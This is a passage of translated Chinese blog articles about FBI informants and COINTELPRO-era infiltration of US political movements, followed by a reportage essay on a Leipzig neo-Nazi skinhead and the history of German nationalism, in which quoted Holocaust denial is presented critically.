线人和FBI人员（特工、Robert Golden）对他们在研究小组中所听到的内容的解释也有所歪曲，很明显，该组织为在联邦调查局权限之外开展行动而采取的大部分措施在实施之前就已经受到了很大的影响。

矛盾的是，该组织想避开联邦调查局和其他机构的监视，是有理有据的；然而，还有另一种讽刺。这些讨论是在不是一个而是两个警方人员在场的情况下进行的。

在1974年5月的一份线人报告中，在逐项列出研究小组各成员的情况时，发现了以下令人瞠目结舌的情况：

> *Ted Falk*：消息来源称，*Ted Falk* 是马里兰州警方一名卧底特工使用的代号，他曾渗透到 *Military Law Project (MLP)* 和 *VVAW/WSO*。

（*Report 5/29/1974*）

然而，在这一切中，发生的不仅仅是间谍与间谍之间的阴谋诡计。很明显的是一种政治意识（尽管从线人和FBI的角度来看，是歪打正着的）。

> 现在的 RU 组织认为民族问题（黑人、墨西哥裔美国人、印第安人）不再是主要的；美国的变化，现在是由工人阶级的黑人和白人来完成的。这种立场的变化使 RU 失去了两个盟友，黑人工人代表大会和波多黎各社会党（波多黎各革命工人组织，原为青年上议院党）。

（*Report 8/7/1974*）

这是在 RU 刚刚经历了一场关于如何处理黑人和其他非白人的斗争、以及这些运动与更广泛的工人阶级运动之关系的重大内部斗争的情况下发生的。

这场斗争导致了一个旨在将这三个实体合并为一个单一的共产主义组织—— 革命共产党 (一个至今仍存在的小集团)—— 的联盟的崩溃。这对本来就担心RU影响扩大的当局来说，是一个偶然的事件。

除此之外，报告还记录了1974年7月的 Avakian，当时的全国发言人、即将成为党的主席的 Avakian 和其他RU领导人访问华盛顿特区

的情况，当时他们正在全国范围内进行巡回演讲，作为建党工作的一部分。

有一个条目记述了 Avakian 如何在美国大学谈论RU成功地进入工人阶级，以及 October League（另一个毛派组织）的局限性，“因为它是不可靠的，没有正确地遵循马克思列宁主义路线。”

这再次显示出对政治细节的明显关注 —— 以及线人的基本政治素养，与人们普遍所认为的愤怒的煽动者的形象形成鲜明对比。

获得这些信息对 FBI 来说不仅仅是一般的好奇心，而是为了制造分裂和鼓励政治内讧而从中收集信息 —— 他们在SDS、黑豹组织和其他组织中也曾做过这样的事，并取得了很大的效果。

虽然说联邦调查局是这些分裂的主要来源是错误的，但他们确实利用了一切机会来制造这些分裂，以实现自己的利益。

- 《他们为什么如此猖狂？因为你们互不信任》

Avakian 来了之后，DC集体的工作似乎有所收敛。结果 O’Connor 被安排到其他地方继续做线人。为了保持她对 FBI 的价值，“当消息人士注意到 DCRU 中缺乏活动时，她主动请缨，在RU主导的组织—巴尔的摩新闻社中发挥了积极作用 ……”

可惜的是这很短暂。O’Connor 的命运最终与她所渗透的组织数量有关。她的档案在1976年戛然而止，当时 FBI 得知纽约州议会正在调查 John Rees 的 “信息文摘”，并打算传唤他和他的妻子出庭作证。

联邦调查局的结论是：

> 这种线人的暴露，虽然不能确定她是本局的线人，但却使局里的人很容易受到大量的调查。这也会使她作为线人的价值荡然无存。

（*SAC, WFO, to Director FBI 3/1/1976.*）

用联邦调查局的说法，”该案应该结案”。O’Connor 作为线人被撤职。

那时候，O’Connor 已经在众议员、约翰·伯奇协会成员 Larry McDonald 手下做了一份研究人员的工作，此前他曾被众议院内部安全委员会 (旧的众议院非美活动委员会的新名) 解雇。至于 John

Rees，到了1980年代初，他在 McDonald 的私人情报机构 “Western Goals” 工作。

曾经和现在的线人们

「图」

自从70年代那段激情澎湃的日子以来，情况已经发生了很大变化，但使用线人仍然是执法部门的主要工作。

比如说，FBI在其网站上显著地显示了一个常见问题解答。“利用线人协助调查犯罪活动可能涉及欺骗、侵犯个人隐私，或与可靠性和动机可能受到质疑的人合作”。但是，这些线人基本上仍然是自由职业者。“线人是在保密的基础上向联邦调查局提供情报的个人。他们不是联邦调查局雇用的或训练有素的雇员，尽管在某些情况下，他们可能因提供信息而得到补偿。”

联邦调查局和警方不仅在刑事调查中继续使用线人，而且还继续利用线人渗透到行使公民权利的和平和守法组织中。

在过去的十几年里，使用线人仍然是维稳机构的主要手段。2000年费城共和党人大会上的抗议活动就是这方面的典范 —— 宾夕法尼亚州警察冒充 “工人” 潜入抗议者（并陷害他们被捕）。

还有一些人物，比如 Brandon Darby，他是联邦调查局的线人，在2008年共和党全国代表大会上以活动家为目标。而后来的 ”占领运动” 也不得不面对线人渗透到该运动中的幽灵。

线人的存在在反抗运动组织和人民中已经产生并且会继续产生明显的负面影响。

在面对这种幽灵时，反抗者往往会陷入一种过度的偏执狂，认为警察人员无处不在，使一个群体过度关注这种事（就如您在中国看到的接二连三的抓特务行动），从而表现出不必要的脆弱性。

线人既是地形的一部分，需要被认真对待，但同时也是一种需要被纳入背景考虑的力量。

正如坦普尔大学的历史学家 Heather Thompson 在谈到60年代的框架时所说的那样，”**FBI** 试图渗透和破坏**60**年代和**70**年代的社会和政治运动的程度并不令人惊讶。难能可贵的是，尽管有如此坚决的渗透，

这些运动仍然取得了如此大的成就”。〇

（*Email exchange with Heather Ann Thompson, Aaron Leonard 12/2/2012.*）

《A Window Into Infiltration: The FBI Informant File of Sheila Louise O’Connor》

原文

针对反抗运动的政治渗透：政府线人如何操作（2）- iyouport

社会反抗和思考维稳面面观

【2020年8月20日存档】有至少30万名警察参与渗透监视民间政治活动。这些间谍的部分工作包括暗杀政治活动家…… 平均每6个人中就有一个是政府间谍。记者实际上是间谍，最活跃的活动家实际上是间谍，就连竞选主席也实际上是间谍 ……

如果您还没有读过第一部分内容，在这里回顾：《过去和现在的线人：政治渗透是如何操作的？（1）》

2012年3月6日，一名匿名者组织分支机构 Lulzsec 的成员因被联邦调查局的线人 Sabu 出卖而被捕，他被媒体描述为 Lulzsec 领导人。

这六名被捕者据称都与 Lulzsec 组织有关，后者因针对索尼、中情局、美国参议院和FBI，以及Visa、万事达卡和PayPal等公司而闻名。

整整一年前，《卫报》发表了一篇文章，标题是 “每四个美国黑客中就有一个是**FBI**的线人”。

文章描述了联邦调查局如何利用长期服刑的威胁，将一些匿名者组织和类似组织的成员策反为线人。文章还描述了该组织是如何被渗透的。

麦吉尔大学教授、数字媒体、黑客和法律专家 Gabriella Coleman 在独立媒体组织 Democracy Now 的节目上说：”曾经有不少关于渗透或线人的传闻。在某种程度上，匿名者组织很容易被渗透，因为任何人都可以加入和参与。因此，这种渗透的传闻已经有相当长的时间了。”

本系列的上一部分内容介绍了渗透者的行为，其他反抗运动如何反击渗透者，以及可以做些什么来减少渗透者所造成的伤害。

本文将介绍政府间谍对政治运动渗透的历史，以及渗透者的目标。

渗透是针对政治运动的常态而不是特例

「图」

当回顾政治渗透的漫长历史时，”占领运动” 如果没有被渗透肯定会令人感到惊讶的。现代历史上几乎所有的反抗运动都曾被警察和其他人渗透过，使用了许多我们现在在 “占领 “运动中所看到的同样的策略。

几乎所有运动都是警方监视和破坏的重点目标。

最著名的监视方案是联邦调查局的 COINTELPRO 计划，根据 COINTELPRO 文件，该计划以女权组织、民权组织、反战组织与和平运动、新左派运动、社会主义者、共产党人和波多黎各独立运动等民间组织为目标。

被渗透的团体包括南方基督教领袖会议、有色人种协进会、种族平等大会、美国印第安人运动、学生争取民主社会、全国律师协会、黑豹组织、和地下气象组织。从阿尔伯特–爱因斯坦到小马丁路德金博士等重要领导人，都受到了监视。

渗透是常态，没有渗透才是例外

「图」

丘奇委员会记录了联邦调查局进行政治镇压的历史。他们描述了第一次世界大战前的渗透工作，包括1920年代，当时特工们被指控围捕 “无政府主义者和革命者“，以便将他们驱逐出境。

丘奇委员会发现，从1936年到1976年，渗透活动不断增加，主要的方案就是 COINTELPRO。虽然这些国内政治间谍活动和破坏计划本应在1976年停止，但是，事实上，这些计划一直在继续。直到今天。

正如 “异议的代价 “中所报道的，联邦法官 Joan Lefkow 在1991年发现，记录表明，“尽管有条例、命令和同意令禁止这类活动，但联邦调查局仍继续收集那些仅仅涉及行使言论自由公民权的反抗者的私密信息。

一个运动的内部究竟能有多少特务或潜入者？最臭名昭著的案例之一

就是1968年的民主党党代会。独立记者 Yasha Levine 写道：”在1968年芝加哥民主党全国代表大会的抗议活动中，吸引了约1万名抗议者，他们被警察残酷地镇压 —— 每6名抗议者中就有1名是联邦调查局的卧底。

没错，全部抗议者中的1/6都是由各种政府间谍组成的 —— 也就是说，大概有1600个间谍！

这个统计数字来自于CBS新闻社在1978年获得的一份军队文件，那是在抗议活动发生整整十年后的1978年。据报道，这些渗透者不是被动的观察者 —— 不是仅仅监视和向中央指挥部传递信息，而是参与了与警察的暴力对抗。” [原文强调] 简单说就是制造暴力以污蔑非暴力反抗行动，以令警方的暴力镇压 “有理有据”。

「图」

Peter Camejo 2003年以绿党身份竞选加州州长，2004年以 Ralph Nader 的副总统身份竞选，他经常讲述自己1976年竞选总统的故事。

Camejo 在发现自己的办公室被破门而入、他遭受了 COINTELPRO 的间谍活动后，将FBI告上了法庭。

法官问负责的特别探员，有多少FBI探员在 Camejo 的总统竞选活动中工作；答案是：66名探员。 Camejo 估计，他在全国各地只有大约400名竞选人员。

再一次，这依旧是平均每6个人中就有1个间谍的渗透率。

Camejo 发现，这些特工中甚至就包括他的一名竞选联合主席。他还在竞选办公室里发现了窃听设备，还有文件显示，FBI从他18岁还是学生活动家的时候就开始跟踪他了。

FBI 的渗透活动得到了地方和州警察的支持。

地方警察操作的渗透有着悠久的历史，可以追溯到1886年的 Haymarket 暴动和1904年的纽约市 “Italian Squad”。

除了政治活动外，他们还参与了对工会的渗透活动，尤其是在罢工运动期间。

在全国各地最常见的是所谓的 “红色小队”，据1963年的报告估计，有至少30万名警察参与渗透监视民间政治活动。这些地方警察与FBI

一样，都是专注于监视同类型的人。

⚠ 这些间谍的部分工作包括暗杀政治活动家。

占领运动的另一个前身是1968年 “复活城“（Resurrection City of the Occupy），是由 Poor People’s Campaign 组织的 “爱与兄弟情谊社区“，占领了华盛顿特区商场四个月，是在小马丁路德金博士逝世前制定的计划。

复活城抗议行动被FBI、军方、公园警察、特勤局和华盛顿特区警察局等层层渗透。

当时的联邦调查局局长（历史上最臭名昭著的） Hoover 让特工们带着假的媒体身份去参加记者会，在营地周边派驻**FBI**特工，并授权进行昂贵的线人计划。

在FBI之后，对复活城最昂贵的渗透是军方的情报人员进行的非法监视计划 —— 拦截无线电信号，监视无线电通讯，并截获了所有的通讯，然后将这些通讯传给了**FBI**、特勤局、特区警察和公园警察。

军方还派出间谍扮演的 *假记者* 参加新闻发布会。首都特区警察 “红色小队 “派便衣人员进入营地，并对其成员进行了拍摄。

渗透战术还在继续，甚至今天已经升级了。

美国公民自由联盟在最近的一份报告中写道：“今天，政府仍然继续以我们国家的缔造者们无法想象的方式对公民进行间谍活动。联邦调查局、联邦情报机构、军队、州和地方警察、私营公司，甚至是消防员和紧急医疗技术人员，都在收集大量关于普通公民的个人信息，这些信息可以用来构建庞大的档案，通过所谓的反恐联合工作组、融合中心和公私(监控)合作等新机构，只需点击一下鼠标，就可以广泛共享 …… 像过去一样，警方的情报活动过度热衷于针对政治活动家、种族和宗教少数群体以及移民”。

- 更多参见 列表-2 “公私监控伙伴关系”

也有多份报告称，中央情报局多年来一直与纽约市警方合作，这种活动几乎可以肯定是非法的。

在911后的世界里，不仅维稳预算大幅增加，而且对间谍活动的限制也被削弱了，法院的审查也变得越来越少。

政府往往与企业利益相关，他们正在收集所有公民的海量数据，并针对各种团体和个人进行情报收集和渗透。

- 不要错过 《中央政府的神话》

间谍活动的范围之广，超出了这篇简短的文章所能研究的范围，但美国公民自由联盟（ACLU）提供了一个逐州的审查。

我们将在相当长的时间内无法知道目前渗透的程度和政府特工的活动，但在911后的世界里，随着创纪录的情报预算和庞大的新的国安官僚机构涌现，间谍活动很可能比以往任何时候都更加广泛。

再加上与两个政党捆绑在一起的寡头公司和政治组织的私人维稳，渗透的范围很可能超乎每个人的想象。

过去渗透的目标、战略和战术都有哪些？

「图」

渗透活动最常见的目的是收集内幕信息的情报功能，但是其目标通常更具有攻击性。

根据 COINTELPRO 文件，Herbert Hoover 命令FBI特工们要 ⚠ “揭露、破坏、误导、诋毁或以各种其他方式瓦解这些运动及其领导人的活动”。

COINTELPRO 的目标也是为了 “揭露、破坏、干扰、误导或以其他方式使民间组织失效”。联邦调查局的外勤人员被指示：

1、通过对活动家中的积极分子进行调查，然后向公众发布其负面的个人信息，为目标群体创建负面的公众形象 —— 也就是《人格暗杀》。

2、通过让特工人员激化种族矛盾，或发送匿名信制造民间组织的内部矛盾，从而瓦解反抗组织的内部 —— 也就是挑拨离间、制造混乱和不信任。《他们为什么如何猖狂，因为你们互不信任》

3、通过散布其他团体偷钱的谣言，在团体之间制造分歧 —— 这是为了拆散联盟的可能性。当民间组织之间能够联合起来的时候，才是当权者最恐惧的时候。

4、通过向非营利组织施压，限制其获得公共资源的机会，切断对非

营利组织的资金或物质支持 —— 简称，饿死异议。《媒体巨头和硅谷的武器化算法沉默异议》

5、让渗透进入的特工在策划抗议和抗议活动期间宣传针对警察的暴力，以此来限制组织抗议的能力。

6、通过人格暗杀、伪造的逮捕（也就是没有法律依据的的逮捕监禁，以恐吓为目的）、渗透监视等方式，限制个人参加集体活动的能力。

COINTELPRO 的文件中披露了许多FBI意图阻止反越战的群众抗议的案例。

为了完成“任务”，使用了许多肮脏的手段。

这些文件指出：“这些手段包括促进反战势力之间的分裂让他们无法联合，鼓励对活动家进行迫害，并由此来推动暴力对抗，以取代大规模的和平示威。”

渗透收集情报、故意破坏和瓦解社会运动的行为，一直都是很常见的。

在历史上，当贫富不均的程度已经达到如此惊人时、最富有的400人所拥有的财富和最底层的15.4万人的财富相同时、当失业率和法拍屋率居高不下时，当几千万人买不起医保、学生上不起大学时，当权势担心人民会起义时 …… 这一切间谍行动就会发生。

近年来发生的所有事件，特别是“占领“事件，显示出这场起义已经开始了。当权者会利用现有的一切工具来阻止“占领“，包括渗透破坏、分裂和误导。

本系列下一部分的内容将描述渗透者的常见行为，以及其他社会运动如何试图将渗透的影响降到最低。

然后将研究“占领“的基本结构，并分析其在渗透的背景下的优缺点。

希望这一系列的研究能够在社会运动内部引起更广泛的讨论，以便努力探讨如何保护公民反抗运动不受干扰和分裂。

—— 未完待续 ——

Infiltration of Political Movements Is the Norm, Not the Exception in the United States

原文

柏林墙倒了吗？（3）：”我第一次感到害怕” - iyouport

免费书和纪录片社会反抗和思考

【2020年6月9日存档】当他从破烂的公寓窗户向外看去时，看着那些生锈的特拉比车子，看着那些被废弃的、被毁掉的”祖国”，他想要把谁的脸揍扁。

如果您还没读过前两部分，在这里看到：

- 《柏林墙倒了吗？（1）：五味杂陈的卡巴莱》
- 《柏林墙倒了吗？（2）：条顿式媚俗和莱比锡翻页》

Zum Wahlkampfauftakt der Landtagswahlen in Mecklenburg-Vorpommern marschierten 2.000 Neonazis unter der Führung der NPD durch Rostock.

Leo 和 Leech

「图」

Leo 有一个新的伤疤，从他的前额向下穿到右颊。那是几天前的夜晚在一个出租车车站的打斗中留下的。

他还有很多其他的伤疤，在发梢处、在胳膊上，是他在东德的儿童之家和监狱里留下的。

在前臂上，他有一个英文的刺青 **“Skinhead”**（光头党），另一条胳膊上的刺青是一个铁十字架和一幅**1937**年的德国地图 —— 地图向波兰扩展了一半。

他的汗衫上写着 “FAP”，自由工人党（Frei Arbeiter Partei，德国的新纳粹政党）。

“他们是唯一维护工人的政党”，他说，“其他党都是狗屁”。

Leo 没有失业，如果我说新纳粹主义（neo-Nazism）是东德的失业问题催生的，他会嗤之以鼻（译者注：这个说法是很多外国知识分子普遍认为的）。

对于 Leo 而言，新纳粹主义是一种信条、一种生活方式，完全与一个稳定的工作合拍。他说，毕竟德国人最好的地方就是他们知道怎么工作。

他认为自己是一个好德国人，所以为了保住在西德一家小公司做组合家具平板包装装配的工作，他让自己的头发长成了体面的平头。

今天他休息，所以在 Leo 位于莱比锡北部劳工阶层社区的这个小公寓里，他和他的同伴，一个16岁、有着一双招风耳的中学生 Leech，正在喝 “煤油” —— 用几品脱啤酒和樱桃酒混合而成的酒饮料。

这儿正在发生的事 —— 一个外国作家（我）谈论新纳粹主义 —— 对他们来说并不新鲜。我给他们提供了宣传的机会，他们给我提供了鲜明的、并令人很不愉快的 “拷贝” 答案。

我问他们标准性的问题，而他们报之以标准的怒斥。

奥斯维辛？从未发生过！那只是抹黑德国人名誉的谎言！“所有这些用毒气杀人的说法都是屁话，从未发生过”。他们在学校里告诉我们这个，但如果你相信老师告诉你的事，那你就是个傻瓜！

关于德国，没有什么会让你感觉羞耻的吗？没有。国家发动战争，国家输了战争。那又怎样？

对话结束，我得说，像他那样的人代表了正在侵蚀脆弱的德国民主之心脏的癌症。

这已经足够真实，但还有些可以说的。

首先，看看 Leech 的背带，那上面装饰着的是英国的国旗。对于像 Leo 和Leech 这样的 “好德国人”，要承认他们有多感激英国人，那肯定是件尴尬的事。

新纳粹主义也许在英国已经式微，但是光头文化（skin culture）—— 种族主义、发型、和音乐 —— 正席卷从旧民主德国东德波兰-德国边境到法兰克福的地区。

光头文化可能是英国对德国以及新欧洲所做的最为持久的 “贡献”。

Nach der mickrigen Demonstration in Wuppertal wollte die Neonazipartei Die Rechte zum 1. Mai, diesmal in Duisburg, in deutlicherer Weise einschüchternden Antisemitismus öffentlich zelebrieren. 2. Mai 2019

> Leo may just be what a country gets when it loses peaceful ways of being proud about itself, when the language of national pride is forced underground, when patriotism is hijacked by criminals.

听 Leo 说话的时候，我试图理解，为什么他是我在莱比锡遇到的唯一的对国家有着强烈自豪感的人。

这是他让我警惕的地方。而不是他的伤疤、不是他的铁血言论，也不是他放在门口的短棍。

如果你从他的视角看这个世界，他来自欧洲唯一不允许对自身有好感的国家。

在民主德国，他们告诉他民族主义等于种族主义；在西德，他们说民族必须为其罪恶赎罪，而且他们开始建立一个以德国马克为基础的后民族主义身份。

当国家不再以和平的方式为其自身感到自豪的时候，当民族自豪的宣言被迫转入地下，当爱国主义被罪恶所绑架，也许，就会产生像 Leo 这样的人。

Leo 也代表了被压迫者的回归。在西德，大多数人都接受了1945年战败之后加之于它的边界。而在东德不是这样。

Leo 的母亲出生于上西里西亚（Upper Silesia），那儿曾经是德国的一个省，现在属于波兰。Leo 的父亲在上西里西亚拥有一个农场，用他的话说就是 “一座产业”。

Leo 听着这样的故事长大：1945年春天，俄罗斯人把他们驱赶到莱比锡的时候，家人是如何被俄罗斯人俯冲轰炸，把他们赶到壕沟里逃命。

我问 Leo，是否想要回到上西里西亚参观，他说：“不做游客，绝不。必须跟德国国旗一起回去”。

但 Helmut Kohl 不是签署了条约承认与波兰的边界吗？Leo 轻蔑地吸

了一口万宝路，“没有政客能将德国人忽悠出他们自己的土地”，他说。

如果不是成长过程中受到一个工人国家的谎言的蒙骗，Leo 本应该是一个好的社会主义者。他对身为工人有着强烈的自豪感，对于从前的日子，他最痛恨的是党的领导人把阶级团结友爱的言辞变成了对自身特权令人厌恶的辩护。

在昂纳克政权之下做一个光头党，不仅是一种民族主义东德反抗标志；它也是真正的德国工人的一种战斗方式，Leo 激动地说。

Leo 确实有两年 —— 他所称之为 “我被浪费的两年” —— 在昂纳克的监狱里度过，原因是试图逃往西方。

统一之后，Leo 要求作为政治犯获得赔偿。拿**1**万马克作为补偿给一个会兴奋地点燃宪法的光头党，是对德国好心的民主的又一个讽刺。

但那样的姿态不可能把 Leo 争取过来。因为民主对他来说不是一种价值观，只是另一个政权，就像昂纳克的政权，就像之前的希特勒政权。

他曾经生活中社会主义 “之下”，现在生活在民主 “之下”，对哪一个他都毫无敬意。

对他来说，在社会主义之下，至少还有同志关系，“在共产主义之下，莱比锡可能有30 ~ 40个光头党，我们会团结在一起。如果有人没钱了之类的，没关系，其他人会帮助他。这样我们所有人都有得吃喝。而现在，我们每个人都在算计每一分钱。这太糟糕了”。*Noch vor einigen Jahren waren bekennenden Neonazis unschwer zu erkennen: Glatze, Springerstiefel, szenetypische Kleidung. Doch mit neuen rechten Strömungen geht auch ein perfides Verwirrspiel einher. 08. September 2017*

我们说 Leo 是反对一个腐败的工人国家在人们头脑中留下的消极、充满谎言的思想残渣，或反对新的统一带来的比以前更多的无家可归者，这并不是为他辩护。

为 Leo 解释并不是为了证明他有理。只是，当他从破烂的公寓窗户向外看去时，看着那些生锈的特拉比车子，看着那些被废弃的、被毁掉的“祖国”，他想要把谁的脸揍扁。

“家”，他痛苦地说，“这里不是家，这里只有不幸”。

如果在洛杉矶或者利物浦，他可能只不过是又一个少年匪帮的小头目。新德国的噩梦在于，它的少年匪帮谈论政治。

也许能让人安心的是，他们几乎没有创新，他们的用词和政治想象都有其渊源。希特勒的危险在于他看上去是全新的。

这些穿着“希特勒：欧洲之旅”T恤的少年没有自己的戈培尔、自己的里芬斯塔尔或施佩尔；没有扎小辫、穿双排扣西装的中产阶级后现代绅士把自己和这些匪帮绑在一起，为他们的推广和形象而工作。

没有推广、没有中产阶级虚无主义者所拿手的迷人魅力，Leo 可以受到遏制。可怜的 Leo，他是如此地道的工人阶级，以至于鄙视我和所有的中产阶级绅士。如果他更圆滑些，也许会知道如何利用我；如果他更愤世嫉俗，也许会真正危险。

实际上他已经够危险了。Leo 知道，当他和 Leech 向避难者住所投掷火把的时候，他们对德国政治的影响力比议会里的100次演讲还要强大。

他对这些演讲 —— 呼吁宽容、谴责暴力、鼓吹和解 —— 的轻蔑，完全可以想象。他了解他所看到的薄弱之处。

德国民主如何对待 Leo 呢？除了官方的反民族主义集会、学校里多元文化主义课程，在整个前东德地区，政府正耗资开展一项公共关系运动。其核心形象是一幅海报，上面是一片红色、金色、黑色 —— 德国国旗的颜色 —— 的海洋，标题写着：“这是包容和尊重人类尊严的色彩”。

德国人的一项任务仍然是：你还得提醒人们，为自己自豪的同时不需要憎恨其他人。

这幅海报奋力在汽车和啤酒的广告海洋中让人们看到。抛开其表面的光彩和复杂，这幅海报意味着一种救命的呼喊。

Leo 怎么看？他轻蔑地微笑，摇了摇头。他知道，那海报是在说：现在，‘Leo 们’正走向胜利 ……*“Europe should beware a nationalist Germany” – FT JUNE 21 2018*

德国民族主义历史的间歇期

「图」

> This Volk—simple, clean, pure, ardently communitarian—was the happy projection of an unhappy intelligentsia, seeking the emotional belonging denied them in real life.

种族民族主义是德国浪漫主义知识分子在拿破仑1792～1813年入侵德意志诸公国期间的创造。

德国知识分子站出来反对法国启蒙运动将政治社会视为一个平等契约社会的观点，他们将德意志文化提高到普世文化的高度，反对冰冷的、机械的法兰西个人主义。

在这过程中，浪漫派代表诗人 Novalis、“狂飙突进运动” 代表人物 Schiller、德国哲学家 Fichte 和社会学家 Müller 等人自觉地将自己看作民族的真正喉舌。

而他们的民族主义信条倾向于捍卫已有的秩序、反对法国人，后来激发出统一和变革的激情。消解了等级制度和德意志诸公国。

对于浪漫派而言，社会权威的新的主体是 “人民”，一种德意志民众的高度浪漫、抽象的形象。

“人民” 是法国 “民族 la nation” 理念以种族为决定因素的变种。这个 “人民” —— 简单、干净、纯粹、热忱于公有社会 —— 是一个不快乐东德知识界的快乐投影。他们寻求在现实生活中遭到拒绝的情感归属。

在法国、英国和美国，民族主义是一种现代化了的意识形态。在浪漫派看来，它变成了一种反现代化的信条，表达了他们对在法国出现的世俗民主的嫉妒和憎恨。

浪漫民族主义成为一种对个人主义和个人权利的飞跃，倾向于一种个人通过归属于 “人民” 的强烈体验，获得内在自由的社会景象。

德国历史学的传统之一，是将希特勒的恶性民族主义追溯到显然无辜的德国浪漫派情感主义，然而，我们如何从浪漫主义先驱、哲学家 Herder 那里得出希特勒？

至少是从那个给出著名评论—— “因此从根本而言，所有的比较都不恰当，每个民族都有根源于其内在的幸福核心” —— 的 Herder 那里？

希特勒扩张性、攻击性的民族主义是一个普遍化的信条。德意志要成为所有一切的比较标准。这恰恰是 **Herder** 历史化、相对化的民族意识理念所否认的。

希特勒统治下的大屠杀结果也不应让我们倒过来重写“人民 Volkisch”民族主义的历史，他对把从“人民”的定义中排除犹太人付出了始终不懈的努力。

事实上，反犹主义直到1871年之后还未成为德国民族主义的中心，而它成为中心，盎格鲁撒克逊的反犹主义、法国的优生学、和美国的新达尔文主义，与德国本土的舆论潮起到了同样重要的作用。

而且，犹太人只是德国民族主义可以抓来定义“他者”的族群之一。就如法国大革命后，是法国人；1871年后，是斯拉夫人。

德国人始终对他们东部与斯拉夫各民族东德边界高度关注。神圣罗马帝国时代，德国人大规模迁移到东部临近斯拉夫人的边界，让德国人相信他们自己的种族特殊性。

东部的大型德国人社区保留了他们的语言、宗教和文化，尽管事实上许多斯拉夫—德意志的民族同化确实发生了，但是，民族自我认知的决定性因素是并未发生的那种同化。

东部的斯拉夫边界地带让德意志的核心地带将自己界定为一个拥有清晰的种族边界的国家，这是法国无法比拟的。

随着斯拉夫人自己从德国人那里了解了种族民族主义，轮到德国人为他们东部边界上包括波兰人、捷克人、匈牙利人的“民族统一蓝图”而恐惧了。

只要两大德意志帝国霍亨索伦和哈布斯堡保持对斯拉夫新兴民族的控制，这种对东部的恐惧似乎是可以容忍的。而一旦这些帝国在1918年解体，一个新的斯拉夫帝国在列宁及其后斯大林的领导之下，在衰弱的德意志边界崛起，德国人对斯拉夫野蛮的古老恐惧，复活了。

这些恐惧被希特勒熟练地加以操控，他在多种族的帝国熔炉维也纳长大，早已开始讨厌其浓重的多种族性，视其为对德意志人民天然优越性的冒犯。

即使我们注意到德意志对斯拉夫人千年以来的恐惧，以及他们对犹太人根深蒂固的仇恨，但是像最近一些历史学家那样，宣称“德国从德意志民族身份存在一刻起就在准备大屠杀”，也不过是某种媚俗的形

式而已。

这无异于说，从现代性存在的那一刻起，从有铁路和煤气炉开始，大屠杀就准备要发生。

但真正的问题是，为什么德意志民族的种族性定义会清除其他所有可能的竞争选择？对此如何解释？

因为竞争始终存在。在1848年席卷德意志各公国的革命之后，法兰克福议会走得如此之远，其集会甚至是依据德意志公民身份，不仅仅是那些种族上的德意志人，而是 “所有那些在德意志居住的人 …… 即使按出生和语言他们并非德意志人”。

战后德国转向这样的传统 —— 即使它们已被扫地出门 —— 试图为自己界定一个可以接受的形象。*nationalism in Europe extends far beyond Germany. – OZY JULY 27, 2017*

> Unlike the reactionary ethnic nationalism of the Romantics, “state nationalism” had a strongly modernizing impetus. It sought above all to forge a nation-state, not by calling up the romance of the Volk, but by creating collective civic attachment to the institutions of the Reich.

除了明确的自由派和公民传统，还有一种也许可以称为 “国家民族主义”。

这种形式的民族主义为拿破仑战败之后普鲁士的施泰因—登贝格改革、以及俾斯麦1871年达到顶点的统一计划，提供了意识形态动力。

与浪漫派保守的种族民族主义不同，“国家民族主义” 拥有强烈的现代化冲动；它力图首先形成一个民族国家，不是通过召唤浪漫的 “人民”，而是通过创造对帝国机制的集体性公民依附。

希特勒魔鬼式的成就就是将德意志 “帝国” 民族主义的和 “人民” 民族主义的意识形态，强行捏合在一起，形成德意志极权主义的意识形态。

种族民族主义的另一个竞争来源由德国社会民主主义提供，作为1941年以前欧洲最强大的工人运动，它有强烈的国际主义和反民族主义意识的特征。

社会民主主义传统一直坚持 —— 如果不算成功的话 —— 反对种族特殊主义，它的余脉仍在民主德国的社会主义意识形态中延续。

一方面，工人支持的党派拒绝表达民族性的言论，认为它是沙文主义的、资产阶级的和反动的；另一方面，传统的德国保守主义未能在德国工人中为宪法民族主义赢得支持。

希特勒趁虚而入。

德国左派和右派都没有能够在德国劳工阶层中为宪法、公民的民族主义赢得决定性支持，这一灾难性的失败为希特勒打开了道路 —— 放弃它们，转向一种极其恶毒的种族民族主义。

希特勒是德国第一个将民族主义转化为流行大众运动的政客。

他的仇恨政治指责战胜的协约国对惩罚性的《凡尔塞和约》负有责任，指责犹太人的阴谋对大萧条负有责任，从而 “精明” 地将人民划入高贵的受害者之列。

受到误导和挫败的人民转向希特勒，因为他的民族主义取悦他们，消除他们的不安，使他们相信其他人应该为他们所遭受的苦难负责。

民族主义提供给党的信徒一种政治麻痹剂，一种永远愤慨、欢欣、偶尔暴力的兴奋状态；使他们从正常的、沉闷的普通生活中逃离出来。

德国自由主义和德国社会民主主义都未能证明自己强大到足以阻止希特勒，但如果人们将它们排除到故事之外，德国民族主义的历史会变成一次漫长的、严酷的、毫无特征的通向希特勒的进军。

而且，如果你从故事中排除德国自由派和社会民主派的传统，你就不能解释战后自由派、社会民主派意识的复兴。

换句话说，你就不能解释45年来在联邦德国的民主的真正事实。这个故事的寓意是什么？德国历史不是其命运，未来不是过去的囚徒。只有民族主义者才会那样认为。*The 9th October 1989 – Stadt Leipzig*

美杜莎餐馆和伏尔泰咖啡馆

「图」

莱比锡机场和法兰克福机场只有45分钟的飞行距离。两个城市的规模大体相当，两者都有巨大的国际贸易展会。

它们互相之间犹如孪生兄弟，统一以来，法兰克福官员来的莱比锡，告诉他们如何管理城市。

但即使他们是双胞胎，从他们的机场你是无法知道这点的。

莱比锡的机场有两个登机口、三架飞机、一个酒吧、几个售货柜台、一个租车处，仅此而已。而在法兰克福机场，我在数到100以后就忘记了登机口的数字，我没有数清有多少酒吧、餐厅、服装店、色情影院、报刊亭、书店、租车处…… 它不像一个机场，而是像一个大理石和玻璃构成的市场，处于新欧洲的枢纽。

巨大的飞机在出发大厅的窗外升起，窥视着候机的旅客，犹如水族馆中的鲸鱼。你可以想象，当第一次从莱比锡来到这里，带着硬纸板箱子走下飞机时，法兰克福机场给 Schindler 夫人、 Börner 先生、或 Böhnke 先生会造成何等的印象。

空中小姐胳膊下夹着写字板，嗒嗒地走在大理石地板上；商人们背着西装袋匆匆而过。走向等待出租车的队列；在移动的人流中，你偶尔可以辨认出一小座静止的岛屿：一对紧紧拉着孩子的东德夫妻，他们盯牢孩子，迷茫而迟缓，无人注意。

在他们周围，收银员敲击着键盘、抽屉开开关关；摄像机和计算机、个人记事本和随身听在玻璃橱柜的转动平台上缓慢地旋转，诱人，但无法触及。

